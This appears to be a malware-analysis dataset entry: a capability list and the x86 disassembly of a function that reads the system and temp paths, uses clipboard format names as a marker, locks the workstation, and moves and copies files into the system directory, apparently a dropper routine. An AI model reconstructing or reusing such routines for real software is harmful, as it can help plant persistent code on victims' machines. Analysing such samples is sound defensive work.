Function at 0x403143
Capabilities:
Copy file
Get common file path
Lock the desktop
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x638
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
push esi
mov dword [ebp - 0x18], esi
call edi
mov dword [ebp - 8], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x4013bc
lea eax, [ebp - 0x32c]
push eax
call fcn.004020ec
lea eax, [ebp + eax - 0x32c]
push eax
call fcn.00402194
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x124]
push eax
push esi
call ebx
push 0x4013bc
lea eax, [ebp - 0x124]
push eax
call fcn.004020ec
lea eax, [ebp + eax - 0x124]
push eax
call fcn.00402194
lea eax, [ebp - 0x430]
push eax
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x430]
push 0x401370
push eax
call fcn.00403620
pop ecx
lea eax, [ebp + eax - 0x430]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
and dword [ebp - 0x1c], 0
add esp, 0xc
push 0x40138c
push 0x40137c
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x403234
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x403234
cmp dword [ebp - 0x1c], 0
je 0x403234
xor eax, eax
jmp 0x4034e8
mov edi, 0xc001
push esi
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.004020ce
push esi
lea eax, [ebp - 0x228]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClipboardFormatNameA]
lea eax, [ebp - 0x228]
push eax
call fcn.004020ec
test eax, eax
je 0x4032a8
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x228]
push eax
call fcn.00402104
test eax, eax
jne 0x40328b
movzx eax, di
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0x228]
push 0x4013bc
push eax
call fcn.00403b50
pop ecx
pop ecx
test eax, eax
je 0x4032a8
movzx eax, di
mov dword [ebp - 8], eax
inc edi
cmp edi, 0xffff
jb 0x403239
xor eax, eax
cmp word [ebp - 8], ax
je 0x4034e5
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x32c]
push eax
call fcn.0040250c
test eax, eax
je 0x4034e5
push dword [ebp + 0x10]
lea eax, [ebp - 0x430]
push eax
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.00402f02
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x403368
cmp dword [ebp - 0x14], 0
je 0x40334b
lea eax, [ebp - 0x534]
push eax
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x534]
push 0x401370
push eax
call fcn.00403620
pop ecx
lea eax, [ebp + eax - 0x534]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x534]
push eax
lea eax, [ebp - 0x124]
push eax
call edi
push dword [ebp - 0xc]
lea eax, [ebp - 0x124]
push dword [ebp - 4]
push eax
call fcn.004024aa
test eax, eax
je 0x403368
mov dword [ebp - 0x10], 1
push dword [ebp + 0xc]
lea eax, [ebp - 0x430]
push dword [ebp + 8]
push eax
call fcn.004024aa
test eax, eax
jne 0x403381
and dword [ebp - 0x10], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x10], 0
je 0x4034e5
cmp dword [ebp - 0x14], 0
jne 0x403434
push dword [ebp - 8]
push dword [ebp - 0x20]
call fcn.00403065
test eax, eax
je 0x4034e5
mov dword [ebp + 0x10], 0xc001
push esi
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.004020ce
push esi
lea eax, [ebp - 0x228]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_GetClipboardFormatNameA]
lea eax, [ebp - 0x228]
push eax
call fcn.004020ec
test eax, eax
je 0x403403
lea eax, [ebp - 0x228]
push 0x4013bc
push eax
call fcn.00403b50
pop ecx
pop ecx
test eax, eax
jne 0x4034e5
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xffff
jb 0x4033b8
mov dword [ebp + 0x10], 0xc001
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
test ax, ax
je 0x403463
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xffff
jb 0x403416
call fcn.004027dd
test eax, eax
je 0x403445
call dword [sym.imp.USER32.dll_LockWorkStation]
jmp 0x40344c
push 0x55
call fcn.004030cd
push 0x401180
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp + 0x10], eax
test eax, eax
jne 0x40346b
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4034e5
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x403482
mov dword [ebp - 0x18], 1
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x638]
push eax
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x638]
push 0x401370
push eax
call fcn.00403620
pop ecx
lea eax, [ebp + eax - 0x638]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x124]
push eax
call edi
push 0
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
leave
ret 0xc